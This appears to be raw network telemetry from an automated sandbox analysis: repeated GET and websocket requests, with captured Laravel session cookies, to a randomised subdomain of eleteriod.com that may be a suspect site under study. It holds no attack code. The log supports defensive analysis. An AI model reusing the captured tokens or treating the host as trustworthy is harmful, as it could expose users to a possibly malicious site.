XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnE9XqQd7cwqeoHDOHNYdiJtyPkloVeKQZ2voYzCFSgjKIkn2oSmCsuv216 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: l6agz47874.eleteriod.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l6agz47874.eleteriod.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3DSec-WebSocket-Key: fjPBPT6nCwolhRAu0sbhZw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /56P6RmVW07q5q2IzmAMROCmNGghm8kh7E6A89106 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxmjNuYi8NFj9axNCKeelVGasqrjFfWilIrHNE12129 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijzMs0cz14Ykf4YeICAFuTHWbFbbJHCA5mZLgEiNPVxzipqrcsEibC8DNKk2zdEbovEab228 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ophIsbkVflkPH6ucNNqWgQgh74rwHxeV0m3bqXIY45140 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnE9XqQd7cwqeoHDOHNYdiJtyPkloVeKQZ2voYzCFSgjKIkn2oSmCsuv216 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnrFuJOn3OoQnVImGSxPaFLthftkl2i6STz3nocxfNzRiIw78143 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qx5mRFu84Dkooz0S7iCXX5u3ULbpS6gxNUAos30PWFpXi1HB7RPBsgb HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijOG38jlE3Csa6VPdagQNh1ZGRw9wxNGNrENQrVC1wpG35UrCP3956170 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wx16mHgG3zIkcRUoCPQGlNSI17mnjc9bKeDSCBaBsqf6F90180 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rst8N6cnlCxOsMQhnswMwlUCaOLMUL9Kjbcu86gh0Bc8CZGqwwMNYgEYsXQoW0SG47ef196 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ophIsbkVflkPH6ucNNqWgQgh74rwHxeV0m3bqXIY45140 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
